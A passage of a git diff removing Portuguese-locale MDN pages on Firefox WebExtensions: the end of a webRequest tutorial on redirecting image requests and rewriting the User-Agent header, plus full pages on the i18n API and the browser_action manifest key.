- "description": "Demonstrating webRequests",
- "manifest_version": 2,
- "name": "webRequest-demo",
- "version": "1.0",
-
- "permissions": [
- "webRequest",
- "webRequestBlocking",
- "https://developer.mozilla.org/",
- "https://mdn.mozillademos.org/"
- ],
-
- "background": {
- "scripts": ["background.js"]
- }
-
-}</pre>
-
-<p>The only change here is to add the <code>"webRequestBlocking"</code> <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permission</a></code>. We need to ask for this extra permission whenever we are actively modifying a request.</p>
-
-<p>Next, replace "background.js" with this:</p>
-
-<pre class="brush: js">var pattern = "https://mdn.mozillademos.org/*";
-
-function redirect(requestDetails) {
- console.log("Redirecting: " + requestDetails.url);
- return {
- redirectUrl: "https://38.media.tumblr.com/tumblr_ldbj01lZiP1qe0eclo1_500.gif"
- };
-}
-
-browser.webRequest.onBeforeRequest.addListener(
- redirect,
- {urls:[pattern], types:["image"]},
- ["blocking"]
-);</pre>
-
-<p>Again, we use the {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} event listener to run a function just before each request is made. This function will replace the target URL with the <code>redirectUrl</code> specified in the function.</p>
-
-<p>This time we are not intercepting every request: the <code>{urls:[pattern], types:["image"]}</code> option specifies that we should only intercept requests (1) to URLs residing under "https://mdn.mozillademos.org/" (2) for image resources. See {{WebExtAPIRef("webRequest.RequestFilter")}} for more on this.</p>
-
-<p>Also note that we're passing an option called <code>"blocking"</code>: we need to pass this whenever we want to modify the request. It makes the listener function block the network request, so the browser waits for the listener to return before continuing. See the {{WebExtAPIRef("webRequest.onBeforeRequest")}} documentation for more on <code>"blocking"</code>.</p>
-
-<p>To test it out, open a page on MDN that contains a lot of images (for example <a href="https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor">https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor</a>), <a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox#Reloading_a_temporary_add-on">reload the extension</a>, and then reload the MDN page:</p>
-
-<p>{{EmbedYouTube("ix5RrXGr0wA")}}</p>
-
-<h2 id="Modifying_request_headers">Modifying request headers</h2>
-
-<p>Finally we'll use <code>webRequest</code> to modify request headers. In this example we'll modify the "User-Agent" header so the browser identifies itself as Opera 12.16, but only when visiting pages under http://useragentstring.com/".</p>
-
-<p>The "manifest.json" can stay the same as in the previous example.</p>
-
-<p>Replace "background.js" with code like this:</p>
-
-<pre class="brush: js">var targetPage = "http://useragentstring.com/*";
-
-var ua = "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16";
-
-function rewriteUserAgentHeader(e) {
- for (var header of e.requestHeaders) {
- if (header.name.toLowerCase() == "user-agent") {
- header.value = ua;
- }
- }
- return {requestHeaders: e.requestHeaders};
-}
-
-browser.webRequest.onBeforeSendHeaders.addListener(
- rewriteUserAgentHeader,
- {urls: [targetPage]},
- ["blocking", "requestHeaders"]
-);</pre>
-
-<p>Here we use the {{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}} event listener to run a function just before the request headers are sent.</p>
-
-<p>The listener function will be called only for requests to URLs matching the <code>targetPage</code> <a href="/en-US/Add-ons/WebExtensions/Match_patterns">pattern</a>. Also note that we've again passed <code>"blocking"</code> as an option. We've also passed <code>"requestHeaders"</code>, which means that the listener will be passed an array containing the request headers that we expect to send. See {{WebExtAPIRef("webRequest.onBeforeSendHeaders")}} for more information on these options.</p>
-
-<p>The listener function looks for the "User-Agent" header in the array of request headers, replaces its value with the value of the <code>ua</code> variable, and returns the modified array. This modified array will now be sent to the server.</p>
-
-<p>To test it out, open <a href="http://useragentstring.com/">useragentstring.com</a> and check that it identifies the browser as Firefox. Then reload the extension, reload <a href="http://useragentstring.com/">useragentstring.com</a>, and check that Firefox is now identified as Opera:</p>
-
-<p>{{EmbedYouTube("SrSNS1-FIx0")}}</p>
-
-<h2 id="Learn_more">Learn more</h2>
-
-<p>To learn about all the things you can do with the <code>webRequest</code> API, see its <a href="/en-US/Add-ons/WebExtensions/API/WebRequest">reference documentation</a>.</p>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/internationalization/index.html b/files/pt-pt/mozilla/add-ons/webextensions/internationalization/index.html
deleted file mode 100644
index 4892048ba8..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/internationalization/index.html
+++ /dev/null
@@ -1,417 +0,0 @@
----
-title: Internationalization
-slug: Mozilla/Add-ons/WebExtensions/Internationalization
-tags:
- - Artigo
- - Extensões da Web
- - Guía
- - Internacionalização
- - Localização
- - Tradução
- - i18n
- - mensagens predefinidas
- - messages.json
- - placeholders
- - símbolos
-translation_of: Mozilla/Add-ons/WebExtensions/Internationalization
----
-<div>{{AddonSidebar}}</div>
-
-<p>A API das <a href="/pt-PT/docs/Mozilla/Add-ons/WebExtensions">Extensões da Web</a> tem um módulo bastante útil disponível para a internacionalização das extensões — <a href="/pt-PT/docs/Mozilla/Add-ons/WebExtensions/API/i18n">i18n</a>. Neste artigo, nós iremos explorar as suas funcionaldiades e fornecemos um exemplo prático de como este funciona. O sistema i18n para as extensões criadas utilizando as APIs da Extensão  da Web é semelhante às bibliotecas de JavaScript comuns do i18n, tal como  <a href="http://i18njs.com/">i18n.js</a>.</p>
-
-<div class="note">
-<p>The example extension featured in this article — <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n</a> — is available on GitHub. Follow along with the source code as you go through the sections below.</p>
-</div>
-
-<h2 id="Anatomia_de_uma_extensão_internacionalizada">Anatomia de uma extensão internacionalizada</h2>
-
-<p>An internationalized extension can contain the same features as any other extension — <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">background scripts</a>, <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">content scripts</a>, etc. — but it also has some extra parts to allow it to switch between different locales. These are summarized in the following directory tree:</p>
-
-<ul class="directory-tree">
- <li>extension-root-directory/
- <ul>
- <li>_locales
- <ul>
- <li>en
- <ul>
- <li>messages.json
- <ul>
- <li>English messages (strings)</li>
- </ul>
- </li>
- </ul>
- </li>
- <li>de
- <ul>
- <li>messages.json
- <ul>
- <li>German messages (strings)</li>
- </ul>
- </li>
- </ul>
- </li>
- <li>etc.</li>
- </ul>
- </li>
- <li>manifest.json
- <ul>
- <li>locale-dependent metadata</li>
- </ul>
- </li>
- <li>myJavascript.js
- <ul>
- <li>JavaScript for retrieving browser locale, locale-specific messages, etc.</li>
- </ul>
- </li>
- <li>myStyles.css
- <ul>
- <li>locale-dependent CSS</li>
- </ul>
- </li>
- </ul>
- </li>
-</ul>
-
-<p>Let's explore each of the new features in turn — each of the below sections represents a step to follow when internationalizing your extension.</p>
-
-<h2 id="Fornecer_strings_traduzidas_em__locales">Fornecer <em>strings</em> traduzidas em _locales</h2>
-
-<div class="pull-aside">
-<div class="moreinfo">You can look up language subtags using the <em>Find</em> tool on the <a href="https://r12a.github.io/app-subtags/">Language subtag lookup page</a>. Note that you need to search for the English name of the language.</div>
-</div>
-
-<p>Every i18n system requires the provision of strings translated into all the different locales you want to support. In extensions, these are contained within a directory called <code>_locales</code>, placed inside the extension root. Each individual locale has its strings (referred to as messages) contained within a file called <code>messages.json</code>, which is placed inside a subdirectory of <code>_locales</code>, named using the language subtag for that locale's language.</p>
-
-<p>Note that if the subtag includes a basic language plus a regional variant, then the language and variant are conventionally separated using a hyphen: for example, "en-US". However, in the directories under <code>_locales</code>, <strong>the separator must be an underscore</strong>: "en_US".</p>
-
-<p>So <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n/_locales">for example, in our sample app</a> we have directories for "en" (English), "de" (German), "nl" (Dutch), and "ja" (Japanese). Each one of these has a <code>messages.json</code> file inside it.</p>
-
-<p>Let's now look at the structure of one of these files (<a href="https://github.com/mdn/webextensions-examples/blob/master/notify-link-clicks-i18n/_locales/en/messages.json">_locales/en/messages.json</a>):</p>
-
-<pre class="brush: json">{
- "extensionName": {
- "message": "Notify link clicks i18n",
- "description": "Name of the extension."
- },
-
- "extensionDescription": {
- "message": "Shows a notification when the user clicks on links.",
- "description": "Description of the extension."
- },
-
- "notificationTitle": {
- "message": "Click notification",
- "description": "Title of the click notification."
- },
-
- "notificationContent": {
- "message": "You clicked $URL$.",
- "description": "Tells the user which link they clicked.",
- "placeholders": {
-      "url" : {
-        "content" : "$1",
-        "example" : "https://developer.mozilla.org"
-      }
-    }
- }
-}</pre>
-
-<p>This file is standard JSON — each one of its members is an object with a name, which contains a <code>message</code> and a <code>description</code>. All of these items are strings; <code>$URL$</code> is a placeholder, which is replaced with a substring at the time the <code>notificationContent</code> member is called by the extension. You'll learn how to do this in the {{anch("Retrieving message strings from JavaScript")}} section.</p>
-
-<div class="note">
-<p><strong>Note</strong>: You can find much more information about the contents of <code>messages.json</code> files in our <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n/Locale-Specific_Message_reference">Locale-Specific Message reference</a>.</p>
-</div>
-
-<h2 id="Internacionalizar_manifest.json">Internacionalizar manifest.json</h2>
-
-<p>There are a couple of different tasks to carry out to internationalize your manifest.json.</p>
-
-<h3 id="Obter_as_strings_traduzidas_em_manifests">Obter as <em>strings</em> traduzidas em <em>manifests</em></h3>
-
-<p>Your <a href="https://github.com/mdn/webextensions-examples/blob/master/notify-link-clicks-i18n/manifest.json">manifest.json</a> includes strings that are displayed to the user, such as the extension's name and description. If you internationalize these strings and put the appropriate translations of them in messages.json, then the correct translation of the string will be displayed to the user, based on the current locale, like so.</p>
-
-<p>To internationalize strings, specify them like this:</p>
-
-<pre class="brush: json">"name": "__MSG_extensionName__",
-"description": "__MSG_extensionDescription__",</pre>
-
-<p>Here, we are retrieving message strings dependant on the browser's locale, rather than just including static strings.</p>
-
-<p>To call a message string like this, you need to specify it like this:</p>
-
-<ol>
- <li>Two underscores, followed by</li>
- <li>The string "MSG", followed by</li>
- <li>One underscore, followed by</li>
- <li>The name of the message you want to call as defined in <code>messages.json</code>, followed by</li>
- <li>Two underscores</li>
-</ol>
-
-<pre><strong>__MSG_</strong> + <em>messageName</em> + <strong>__</strong></pre>
-
-<h3 id="Especificar_uma_locale_predefinida">Especificar uma <em>locale</em> predefinida</h3>
-
-<p>Another field you should specify in your manifest.json is <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/default_locale">default_locale</a>:</p>
-
-<pre class="brush: json">"default_locale": "en"</pre>
-
-<p>This specifies a default locale to use if the extension doesn't include a localized string for the browser's current locale. Any message strings that are not available in the browser locale are taken from the default locale instead. There are some more details to be aware of in terms of how the browser selects strings — see {{anch("Localized string selection")}}.</p>
-
-<h2 id="Locale-dependent_CSS">Locale-dependent CSS</h2>
-
-<p>Note that you can also retrieve localized strings from CSS files in the extension. For example, you might want to construct a locale-dependent CSS rule, like this:</p>
-
-<pre class="brush: css">header {
- background-image: url(../images/__MSG_extensionName__/header.png);
-}</pre>
-
-<p>This is useful, although you might be better off handling such a situation using {{anch("Predefined messages")}}.</p>
-
-<h2 id="Obter_strings_a_partir_de_JavaScript">Obter <em>strings</em> a partir de JavaScript</h2>
-
-<p>So, you've got your message strings set up, and your manifest. Now you just need to start calling your message strings from JavaScript so your extension can talk the right language as much as possible. The actual <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n">i18n API</a> is pretty simple, containing just four main methods:</p>
-
-<ul>
- <li>You'll probably use {{WebExtAPIRef("i18n.getMessage()")}} most often — this is the method you use to retrieve a specific language string, as mentioned above. We'll see specific usage examples of this below.</li>
- <li>The {{WebExtAPIRef("i18n.getAcceptLanguages()")}} and {{WebExtAPIRef("i18n.getUILanguage()")}} methods could be used if you needed to customize the UI depending on the locale — perhaps you might want to show preferences specific to the users' preferred languages higher up in a prefs list, or display cultural information relevant only to a certain language, or format displayed dates appropriately according to the browser locale.</li>
- <li>The {{WebExtAPIRef("i18n.detectLanguage()")}} method could be used to detect the language of user-submitted content, and format it appropriately.</li>
-</ul>
-
-<p>In our <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n</a> example, the<a href="https://github.com/mdn/webextensions-examples/blob/master/notify-link-clicks-i18n/background-script.js"> background script</a> contains the following lines:</p>
-
-<pre class="brush: js">var title = browser.i18n.getMessage("notificationTitle");
-var content = browser.i18n.getMessage("notificationContent", message.url);</pre>
-
-<p>The first one just retrieves the <code>notificationTitle message</code> field from the available <code>messages.json</code> file most appropriate for the browser's current locale. The second one is similar, but it is being passed a URL as a second parameter. What gives? This is how you specify the content to replace the <code>$URL$</code> placeholder we see in the <code>notificationContent message</code> field:</p>
-
-<pre class="brush: json">"notificationContent": {
- "message": "You clicked $URL$.",
- "description": "Tells the user which link they clicked.",
- "placeholders": {
- "url" : {
- "content" : "$1",
- "example" : "https://developer.mozilla.org"
- }
- }
-}
-</pre>
-
-<p>The <code>"placeholders"</code> member defines all the placeholders, and where they are retrieved from. The <code>"url"</code> placeholder specifies that its content is taken from $1, which is the first value given inside the second parameter of <code>getMessage()</code>. Since the placeholder is called <code>"url"</code>, we use <code>$URL$</code> to call it inside the actual message string (so for <code>"name"</code> you'd use <code>$NAME$</code>, etc.) If you have multiple placeholders, you can provide them inside an array that is given to {{WebExtAPIRef("i18n.getMessage()")}} as the second parameter — <code>[a, b, c]</code> will be available as <code>$1</code>, <code>$2</code>, and <code>$3</code>, and so on, inside <code>messages.json</code>.</p>
-
-<p>Let's run through an example: the original <code>notificationContent</code> message string in the <code>en/messages.json</code> file is</p>
-
-<pre>You clicked $URL$.</pre>
-
-<p>Let's say the link clicked on points to <code>https://developer.mozilla.org</code>. After the {{WebExtAPIRef("i18n.getMessage()")}} call, the contents of the second parameter are made available in messages.json as <code>$1</code>, which replaces the <code>$URL$</code> placeholder as defined in the <code>"url"</code> placeholder. So the final message string is</p>
-
-<pre>You clicked https://developer.mozilla.org.</pre>
-
-<h3 id="Direct_placeholder_usage">Direct placeholder usage</h3>
-
-<p>It is possible to insert your variables (<code>$1</code>, <code>$2</code>, <code>$3</code>, etc.) directly into the message strings, for example we could rewrite the above <code>"notificationContent"</code> member like this:</p>
-
-<pre class="brush: json">"notificationContent": {
- "message": "You clicked $1.",
- "description": "Tells the user which link they clicked."
-}</pre>
-
-<p>This may seem quicker and less complex, but the other way (using <code>"placeholders"</code>) is seen as best practice. This is because having the placeholder name (e.g. <code>"url"</code>) and example helps you to remember what the placeholder is for — a week after you write your code, you'll probably forget what <code>$1</code>–<code>$8</code> refer to, but you'll be more likely to know what your placeholder names refer to.</p>
-
-<h3 id="Hardcoded_substitution">Hardcoded substitution</h3>
-
-<p>It is also possible to include hardcoded strings in placeholders, so that the same value is used every time, instead of getting the value from a variable in your code. For example:</p>
-
-<pre class="brush: json">"mdn_banner": {
- "message": "For more information on web technologies, go to $MDN$.",
- "description": "Tell the user about MDN",
- "placeholders": {
- "mdn": {
- "content": "https://developer.mozilla.org/"
- }
- }
-}</pre>
-
-<p>In this case we are just hardcoding the placeholder content, rather than getting it from a variable value like <code>$1</code>. This can sometimes be useful when your message file is very complex, and you want to split up different values to make the strings more readable in the file, plus then these values could be accessed programmatically.</p>
-
-<p>In addition, you can use such substitutions to specify parts of the string that you don't want to be translated, such as person or business names.</p>
-
-<h2 id="Seleção_de_string_traduzida">Seleção de string traduzida</h2>
-
-<p>Locales can be specified using only a language code, like <code>fr</code> or <code>en</code>, or they may be further qualified with a region code, like <code>en_US</code> or <code>en_GB</code>, which describes a regional variant of the same basic language. When you ask the i18n system for a string, it will select a string using the following algorithm:</p>
-
-<ol>
- <li>if there is a <code>messages.json</code> file for the exact current locale, and it contains the string, return it.</li>
- <li>Otherwise, if the current locale is qualified with a region (e.g. <code>en_US</code>) and there is a <code>messages.json</code> file for the regionless version of that locale (e.g. <code>en</code>), and that file contains the string, return it.</li>
- <li>Otherwise, if there is a <code>messages.json</code> file for the <code>default_locale</code> defined in the <code>manifest.json</code>, and it contains the string, return it.</li>
- <li>Otherwise return an empty string.</li>
-</ol>
-
-<p>Take the following example:</p>
-
-<ul class="directory-tree">
- <li>extension-root-directory/
- <ul>
- <li>_locales
- <ul>
- <li>en_GB
- <ul>
- <li>messages.json
- <ul>
- <li><code>{ "colorLocalised": { "message": "colour", "description": "Color." }, ... }</code></li>
- </ul>
- </li>
- </ul>
- en
-
- <ul>
- <li>messages.json
- <ul>
- <li><code>{ "colorLocalised": { "message": "color", "description": "Color." }, ... }</code></li>
- </ul>
- </li>
- </ul>
- </li>
- <li>fr
- <ul>
- <li>messages.json
- <ul>
- <li><code>{ "colorLocalised": { "message": "<span lang="fr">couleur</span>", "description": "Color." }, ...}</code></li>
- </ul>
- </li>
- </ul>
- </li>
- </ul>
- </li>
- </ul>
- </li>
-</ul>
-
-<p>Suppose the <code>default_locale</code> is set to <code>fr</code>, and the browser's current locale is <code>en_GB</code>:</p>
-
-<ul>
- <li>If the extension calls <code>getMessage("colorLocalised")</code>, it will return "colour".</li>
- <li>If "colorLocalised" were not present in <code>en_GB</code>, then <code>getMessage("colorLocalised")</code>, would return "color", not "couleur".</li>
-</ul>
-
-<h2 id="Mensagens_predefinidas">Mensagens predefinidas</h2>
-
-<p>The i18n module provides us with some predefined messages, which we can call in the same way as we saw earlier in {{anch("Calling message strings from manifests and extension CSS")}}. For example:</p>
-
-<pre>__MSG_extensionName__</pre>
-
-<p>Predefined messages use exactly the same syntax, except with <code>@@</code> before the message name, for example</p>
-
-<pre>__MSG_@@ui_locale__</pre>
-
-<p>The following table shows the different available predefined messages:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Nome da mensagem</th>
- <th scope="col">Descrição</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>@@extension_id</code></td>
- <td>
- <p>The extension's internally-generated UUID. You might use this string to construct URLs for resources inside the extension. Even unlocalized extensions can use this message.</p>
-
- <p>You can't use this message in a manifest file.</p>
-
- <p>Also note that this ID is <em>not</em> the add-on ID returned by {{WebExtAPIRef("runtime.id")}}, and that can be set using the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a> key in manifest.json. It's the generated UUID that appears in the add-on's URL. This means that you can't use this value as the <code>extensionId</code> parameter to {{WebExtAPIRef("runtime.sendMessage()")}}, and can't use it to check against the <code>id</code> property of a {{WebExtAPIRef("runtime.MessageSender")}} object.</p>
- </td>
- </tr>
- <tr>
- <td><code>@@ui_locale</code></td>
- <td>The current locale; you might use this string to construct locale-specific URLs.</td>
- </tr>
- <tr>
- <td><code>@@bidi_dir</code></td>
- <td>The text direction for the current locale, either "ltr" for left-to-right languages such as English or "rtl" for right-to-left languages such as Arabic.</td>
- </tr>
- <tr>
- <td><code>@@bidi_reversed_dir</code></td>
- <td>If the <code>@@bidi_dir</code> is "ltr", then this is "rtl"; otherwise, it's "ltr".</td>
- </tr>
- <tr>
- <td><code>@@bidi_start_edge</code></td>
- <td>If the <code>@@bidi_dir</code> is "ltr", then this is "left"; otherwise, it's "right".</td>
- </tr>
- <tr>
- <td><code>@@bidi_end_edge</code></td>
- <td>If the <code>@@bidi_dir</code> is "ltr", then this is "right"; otherwise, it's "left".</td>
- </tr>
- </tbody>
-</table>
-
-<p>Going back to our earlier example, it would make more sense to write it like this:</p>
-
-<pre class="brush: css">header {
- background-image: url(../images/__MSG_@@ui_locale__/header.png);
-}</pre>
-
-<p>Now we can just store our local specific images in directories that match the different locales we are supporting — en, de, etc. — which makes a lot more sense.</p>
-
-<p>Let's look at an example of using <code>@@bidi_*</code> messages in a CSS file:</p>
-
-<pre class="brush: css">body {
- direction: __MSG_@@bidi_dir__;
-}
-
-div#header {
- margin-bottom: 1.05em;
- overflow: hidden;
- padding-bottom: 1.5em;
- padding-__MSG_@@bidi_start_edge__: 0;
- padding-__MSG_@@bidi_end_edge__: 1.5em;
- position: relative;
-}</pre>
-
-<p>For left-to-right languages such as English, the CSS declarations involving the predefined messages above would translate to the following final code lines:</p>
-
-<pre class="brush: css">direction: ltr;
-padding-left: 0;
-padding-right: 1.5em;
-</pre>
-
-<p>For a right-to-left language like Arabic, you'd get:</p>
-
-<pre class="brush: css">direction: rtl;
-padding-right: 0;
-padding-left: 1.5em;</pre>
-
-<h2 id="Testar_a_sua_extensão">Testar a sua extensão</h2>
-
-<p>Starting in Firefox 45, you can install extensions temporarily from disk — see <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Packaging_and_installation#Loading_from_disk">Loading from disk</a>. Do this, and then try testing out our <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n</a> extension. Go to one of your favourite websites and click a link to see if a notification appears reporting the URL of the clicked link.</p>
-
-<p>Next, change Firefox's locale to one supported in the extension that you want to test.</p>
-
-<ol>
- <li>Open "about:config" in Firefox, and search for the <code>intl.locale.requested</code> preference (bear in mind that before Firefox 59, this pref is called <code>general.useragent.locale</code>).</li>
- <li>If the preference exists, double-click it (or press Return/Enter) to select it, enter the language code for the locale you want to test, then click "OK" (or press Return/Enter). For example in our example extension, "en" (English), "de" (German), "nl" (Dutch), and "ja" (Japanese) are supported. You can also set the value to an empty string (<code>""</code>), which will cause the browser to use the OS default locale.</li>
- <li>If the <code>intl.locale.requested</code> preference does not exist, right-click the list of preferences (or activate the context menu using the keyboard), and choose "New" followed by "String". Enter <code>intl.locale.requested</code> for the preference name and, "de", or "nl", etc. for the preference value, as described in step 2 above.</li>
- <li>Search for <code>intl.locale.matchOS</code> and, if the preference exists and has the value <code>true</code>, double-click it  so that it is set to <code>false</code>.</li>
- <li>Restart your browser to complete the change.</li>
-</ol>
-
-<div class="note">
-<p><strong>Nota</strong>: This works to change the browser's locale, even if you haven't got the <a href="https://addons.mozilla.org/en-US/firefox/language-tools/">language pack</a> installed for that language. You'll just get the browser UI in your default language if this is the case.</p>
-</div>
-
-<ol>
-</ol>
-
-<div class="note">
-<p><strong>Nota:</strong> To change the result of <code>getUILanguage</code> the language pack is required, since it reflects the browser UI language and not the language used for extension messages.</p>
-</div>
-
-<p>Load the extension temporarily from disk again, then test your new locale:</p>
-
-<ul>
- <li>Visit "about:addons" again — you should now see the extension listed, with its icon, plus name and description in the chosen language.</li>
- <li>Test your extension again. In our example, you'd go to another website and click a link, to see if the notification now appears in the chosen language.</li>
-</ul>
-
-<p>{{EmbedYouTube("R7--fp5pPGg")}}</p>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/browser_action/index.html b/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/browser_action/index.html
deleted file mode 100644
index 41b720af8b..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/browser_action/index.html
+++ /dev/null
@@ -1,236 +0,0 @@
----
-title: browser_action
-slug: Mozilla/Add-ons/WebExtensions/manifest.json/browser_action
-tags:
- - Extensões
- - Extensões da Web
- - Extras
-translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/browser_action
----
-<div>{{AddonSidebar}}</div>
-
-<table class="fullwidth-table standard-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 30%;">Tipo</th>
- <td><code>Objeto</code></td>
- </tr>
- <tr>
- <th scope="row">Obrigatório</th>
- <td>Não</td>
- </tr>
- <tr>
- <th scope="row">Exemplo</th>
- <td>
- <pre class="brush: json no-line-numbers">
-"browser_action": {
- "browser_style": true,
- "default_icon": {
- "16": "button/geo-16.png",
- "32": "button/geo-32.png"
- },
- "default_title": "Whereami?",
- "default_popup": "popup/geo.html",
- "theme_icons": [{
-    "light": "icons/geo-32-light.png",
-    "dark": "icons/geo-32.png",
-    "size": 32
- }]
-}</pre>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>A browser action is a button that your extension adds to the browser's toolbar. The button has an icon, and may optionally have a popup whose content is specified using HTML, CSS, and JavaScript.</p>
-
-<p>If you supply a popup, then the popup is opened when the user clicks the button, and your JavaScript running in the popup can handle the user's interaction with it. If you don't supply a popup, then a click event is dispatched to your extension's <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">background scripts</a> when the user clicks the button.</p>
-
-<p>You can also create and manipulate browser actions programmatically using the <a href="/en-US/Add-ons/WebExtensions/API/browserAction">browserAction API</a>.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<p>The <code>browser_action</code> key is an object that may have any of the following properties, all optional:</p>
-
-<table class="fullwidth-table standard-table">
- <thead>
- <tr>
- <th scope="col">Nome</th>
- <th scope="col">Tipo</th>
- <th scope="col">Descrição</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>browser_style</code></td>
- <td><code>Booliano</code></td>
- <td>
- <div class="geckoVersionNote">Novo no Firefox 48</div>
-
- <p>Optional, defaulting to <code>false</code>.</p>
-
- <p>Use this to include a stylesheet in your popup that will make it look consistent with the browser's UI and with other extensions that use the <code>browser_style</code> property. Although this key defaults to <code>false</code>, it's recommended that you include it and set it to <code>true</code>.</p>
-
- <p>In Firefox, the stylesheet can be seen at chrome://browser/content/extension.css, or chrome://browser/content/extension-mac.css on OS X.</p>
-
- <p>The <a href="https://firefoxux.github.io/StyleGuide/#/controls">Firefox Style Guide</a> describes the classes you can apply to elements in the popup in order to get particular styles.</p>
-
- <p>The <a href="https://github.com/mdn/webextensions-examples/tree/master/latest-download">latest-download</a> example extension uses <code>browser_style</code> in its popup.</p>
- </td>
- </tr>
- <tr>
- <td><code>default_area</code></td>
- <td><code>String</code></td>
- <td>
- <div class="geckoVersionNote">Novo no Firefox 54</div>
-
- <p>Defines the part of the browser in which the button is initially placed. This is a string that may take one of four values:</p>
-
- <ul>
- <li>"navbar": the button is placed in the main browser toolbar, alongside the URL bar.</li>
- <li>"menupanel": the button is placed in a popup panel.</li>
- <li>"tabstrip": the button is placed in the toolbar that contains browser tabs.</li>
- <li>"personaltoolbar": the button is placed in the bookmarks toolbar.</li>
- </ul>
-
- <p>This property is only supported in Firefox.</p>
-
- <p>This property is optional, and defaults to "navbar".</p>
-
- <p>An extension can't change the location of the button after it has been installed, but the user may be able to move the button using the browser's built-in UI customization mechanism.</p>
- </td>
- </tr>
- <tr>
- <td><code>default_icon</code></td>
- <td><code>Object</code> or <code>String</code></td>
- <td>
- <p>Use this to specify one or more icons for the browser action. The icon is shown in the browser toolbar by default.</p>
-
- <p>Icons are specified as URLs relative to the manifest.json file itself.</p>
-
- <p>You can specify a single icon file by supplying a string here:</p>
-
- <pre class="brush: json no-line-numbers">
-"default_icon": "path/to/geo.svg"</pre>
-
- <p>To specify multiple icons in different sizes, specify an object here. The name of each property is the icon's height in pixels, and must be convertible to an integer. The value is the URL. For example:</p>
-
- <pre class="brush: json no-line-numbers">
- "default_icon": {
- "16": "path/to/geo-16.png",
- "32": "path/to/geo-32.png"
- }</pre>
-
- <p>See <a href="/en-US/Add-ons/WebExtensions/manifest.json/browser_action#Choosing_icon_sizes">Choosing icon sizes</a> for more guidance on this.</p>
- </td>
- </tr>
- <tr>
- <td><code>default_popup</code></td>
- <td><code>String</code></td>
- <td>
- <p>The path to an HTML file containing the specification of the popup.</p>
-
- <p>The HTML file may include CSS and JavaScript files using <code><a href="/en-US/docs/Web/HTML/Element/link">&lt;link&gt;</a></code> and <code><a href="/en-US/docs/Web/HTML/Element/script">&lt;script&gt;</a></code> elements, just like a normal web page.</p>
-
- <p>Unlike a normal web page, JavaScript running in the popup can access all the <a href="/en-US/Add-ons/WebExtensions/API">WebExtension APIs</a> (subject, of course, to the extension having the appropriate <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a>).</p>
-
- <p>This is a <a href="/en-US/Add-ons/WebExtensions/Internationalization#Internationalizing_manifest.json">localizable property</a>.</p>
- </td>
- </tr>
- <tr>
- <td><code>default_title</code></td>
- <td><code>String</code></td>
- <td>
- <p>Tooltip for the button, displayed when the user moves their mouse over it. If the button is added to the browser's menu panel, this is also shown under the app icon.</p>
-
- <p>This is a <a href="/en-US/Add-ons/WebExtensions/Internationalization#Internationalizing_manifest.json">localizable property</a>.</p>
- </td>
- </tr>
- <tr>
- <td><code>theme_icons</code></td>
- <td><code>Array</code></td>
- <td>
- <p>This property enables you to specify different icons for dark and light themes.</p>
-
- <p>If this property is present, it's an array containing at least one <code>ThemeIcons</code> object. A <code>ThemeIcons</code> object contains three properties, all mandatory:</p>
-
- <dl>
- <dt><code>"dark"</code></dt>
- <dd>A URL pointing to an icon. This icon will be selected when themes with dark text are active (e.g. Firefox's Light theme, and the Default theme if no default_icon is specified).</dd>
- <dt><code>"light"</code></dt>
- <dd>A URL pointing to an icon. This icon will be selected when themes with light text are active (e.g. Firefox's Dark theme).</dd>
- <dt><code>"size"</code></dt>
- <dd>The size of the two icons in pixels.</dd>
- </dl>
-
- <p>Icons are specified as URLs relative to the manifest.json file itself.</p>
-
- <p>Providing multiple <code>ThemeIcons</code> objects enables you to supply a set of icon pairs in different sizes.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Escolher_os_tamanhos_do_ícone">Escolher os tamanhos do ícone</h2>
-
-<p>The browser action's icon may need to be displayed in different sizes in different contexts:</p>
-
-<ul>
- <li>The icon is displayed by default in the browser toolbar, but the user can move it into the browser's menu panel (the panel that opens when the user clicks the "hamburger" icon). The icon in the toolbar is smaller than the icon in the menu panel.</li>
- <li>On a high-density display like a Retina screen, icons needs to be twice as big.</li>
-</ul>
-
-<p>If the browser can't find an icon of the right size in a given situation, it will pick the best match and scale it. Scaling may make the icon appear blurry, so it's important to choose icon sizes carefully.</p>
-
-<p>There are two main approaches to this. You can supply a single icon as an SVG file, and it will be scaled correctly:</p>
-
